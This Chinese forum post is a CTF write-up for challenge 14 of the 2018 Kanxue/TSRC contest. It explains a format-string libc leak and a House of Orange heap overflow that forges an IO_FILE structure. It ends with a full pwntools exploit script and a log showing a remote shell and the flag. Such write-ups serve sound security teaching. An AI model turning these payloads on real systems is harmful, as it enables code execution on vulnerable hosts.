首页
社区
课程
招聘
[原创]2018看雪&TSRC CTF第14题WP
2018-12-29 10:24 5347

[原创]2018看雪&TSRC CTF第14题WP

2018-12-29 10:24
5347

0x1 程序分析

惯例先看看开了哪些保护。

[*] '/home/abc/Downloads/ctf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

程序流程很简单

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int i; // ebx
  unsigned int len; // eax
  void *p; // rbp

  i = 5;
  setup();
  puts("echo from your heart");
  do
  {
    __printf_chk(1LL, "lens of your word: ");
    len = get_len(1LL, "lens of your word: ");
    if ( len > 0x1000 )
    {
      puts("too long");
      exit(1);
    }
    p = malloc(len);
    __printf_chk(1LL, "word: ");
    gets(p);
    __printf_chk(1LL, "echo: ");
    __printf_chk(1LL, p);
    putchar(10);
    --i;
  }
  while ( i );
  return 0LL;
}

两处漏洞:
1、gets堆溢出

p = malloc(len);
__printf_chk(1LL, "word: ");
gets(p);

2、格式化字符串

__printf_chk(1LL, p);

0x2 利用思路

一、格式化字符串

虽然存在格式化字符串漏洞,并且GOT表可写,但是程序使用的是printf_chk函数。会检测出形如"%n"和"%12$p"这种利用方式。
考虑到main函数由libc_start_main调用,因此栈上的返回地址是一个libc中的地址,利用格式化字符串漏洞能泄露出libc的基址。
"%p::%p::%p::%p::%p::%p::%p::%p"。第8个%p就能打印出libc上的地址。

二、堆溢出

houseoforange的思路
1、malloc一个0x400的chunk,通过gets()溢出修改topchunk的size域为0xc01(这里要保证topchunk是页对齐的,并且PRE_INUSE位置1,否则后面释放old topchunk时会报错)

send(('%p::'*8).ljust(1008)+'\x00'*8+p64(0xc01),1008)

2、malloc一个0x1000的chunk(比topchunk大,小于0x20c00就行).libc会分配出一个新的topchunk,并把old topchunk给free掉。这样我们就得到了一个unsorted bin

send('abc',4096)

3、malloc一个0x20的chunk。unsorted bin会先放入large bin中,然后分割成两部分。第一部分返回给malloc,剩下的作为last_remainder又被放入unsorted bin链表中。利用gets溢出在这个unsortedbin中伪造一个IO_FILE结构

payload=p64(0)+p64(0x61)+p64(libc_base)+p64(io_list-0x10)+p64(2)+p64(3)
payload = payload.ljust(0xd8, "\x00")
payload += p64(jump_table)
payload += p64(libc_base+0x4526a)
payload = 'a'*16 + payload

send(payload,16)

4、最后随便malloc一下,由于unsorted bin链表被破坏,程序_IO_flush_all_lockp时会使用我们伪造的IO_FILE,执行one_gadget

p.sendline('10')

0x3 完整利用代码

from pwn import *

# context(log_level='debug')
# libc = ELF('./libc-2.23.so')
p = process('./ctf')
# p = remote('211.159.175.39',8686)

def send(s,len):
    p.sendline(str(len))
    p.recvuntil('word: ')
    p.sendline(s)
    p.recvuntil('echo: ')
    return p.recv()

p.recvuntil('lens of your word: ')
s = send(('%p::'*8).ljust(1008)+'\x00'*8+p64(0xc01),1008)
libc_base = int(s.split('::')[7],16)-0x20830
io_list = libc_base + 0x3c5520
jump_table = 0x3c36e0 + libc_base + 0xc0

send('abc',4096)

payload=p64(0)+p64(0x61)+p64(libc_base)+p64(io_list-0x10)+p64(2)+p64(3)
payload = payload.ljust(0xd8, "\x00")
payload += p64(jump_table)
payload += p64(libc_base+0x4526a)
payload = 'a'*16 + payload

send(payload,16)

p.sendline('10')
p.interactive()
# gdb.attach(p)


# abc@vm:~/Desktop/Link to Downloads$ python exp.py
# [+] Opening connection to 211.159.175.39 on port 8686: Done
# [*] Switching to interactive mode
# *** Error in `./echopwn': malloc(): memory corruption: 0x00007f16da154520 ***
# ======= Backtrace: =========
# /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f16d9e067e5]
# /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f16d9e1113e]
# /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f16d9e13184]
# ./echopwn(+0x947)[0x56203c943947]
# /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f16d9daf830]
# ./echopwn(+0x9ea)[0x56203c9439ea]
# ======= Memory map: ========
# $ ls
# bin
# dev
# echopwn
# flag
# lib
# lib64
# $ cat flag
# flag{wefwkejsueneriuweiwsdu32few2djwe}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-12-29 10:56 被mratlatsn编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回